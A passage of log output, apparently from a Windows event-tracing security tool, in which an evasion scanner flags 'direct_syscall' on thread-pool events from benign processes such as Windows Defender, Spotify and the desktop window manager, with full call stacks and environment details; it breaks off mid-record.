+time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192067 + Pid: 5052 + Tid: 15764 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1430346 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279dc9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5c9f9f23 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192085 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 4 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1441908 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9f9454 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9f9280 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca25728 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe5ca8fbe0 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192089 + Pid: 5052 + Tid: 15764 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.14447 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279dc9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5c9f9f23 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192101 + Pid: 5052 + Tid: 15764 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1449948 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3493cfe C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerGetNext|0x7ffde327b1e3 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327abf6 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde343635b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3435ddf C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3646a78 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde3646963 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192161 + Pid: 7952 + Tid: 14960 + Type: SubmitThreadpoolWork + CPU: 3 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.3139141 +0100 CET + Params: callback➜ 7ffe217e66b0, callback_module➜ C:\Windows\System32\Windows.Media.MediaControl.dll, context➜ 1d2a81f14c0, pool_id➜ 1d29a7e1a80, subprocess_tag➜ 0, task_id➜ 1d2a8097788 + Metadata: evasions: [direct_syscall] + + Pid: 7952 + Ppid: 1636 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7952_OMYGHJGUIKQAVOSE COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1636_1262719628:1 EFC_1636_1592913036:1 EFC_1636_2283032206:1 EFC_1636_2775293581:1 EFC_1636_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0x7ffe217f4a4b C:\Windows\System32\Windows.Media.MediaControl.dll!DllGetActivationFactory|0x7ffe217f25bf C:\Windows\System32\Windows.Media.MediaControl.dll!?|0x7ffe217e77fe C:\Windows\System32\Windows.Media.MediaControl.dll!?|0x7ffe217e7750 C:\Windows\System32\Windows.Media.MediaControl.dll!?|0x7ffdfdd6d988 C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!RunWinMain|0x7ffdfdd6ee0a C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!RunWinMain|0x7ffdfcb49b19 C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!RunWinMain|0x7ffdfcb4a09c C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!RunWinMain|0x7ffdfdd6b04a C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!RunWinMain|0x7ffdfdf57606 C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!RunWinMain|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:53+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192901 + Pid: 1568 + Tid: 2596 + Type: SubmitThreadpoolWork + CPU: 4 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.8009979 +0100 CET + Params: callback➜ 7ffe75177750, callback_module➜ C:\Windows\System32\dwmcore.dll, callback_symbol➜ MilCompositionEngine_CreateChannel, context➜ 1c26610bd40, pool_id➜ 1c266103280, subprocess_tag➜ 0, task_id➜ 1c26612a7a8 + Metadata: evasions: [direct_syscall] + + Pid: 1568 + Ppid: 684 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0x7ffe75059327 C:\Windows\System32\dwmcore.dll!?|0x7ffe7500a7fd C:\Windows\System32\dwmcore.dll!?|0x7ffe7511ab32 C:\Windows\System32\dwmcore.dll!MilCompositionEngine_CreateChannel|0x7ffe751c7ef6 C:\Windows\System32\dwmcore.dll!MilCompositionEngine_Uninitialize|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:54+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5193547 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:50.393238 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9fafad C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca8fe17 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:54+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5193553 + Pid: 5052 + Tid: 15764 + Type: SubmitThreadpoolWork + CPU: 4 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:50.393759 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: 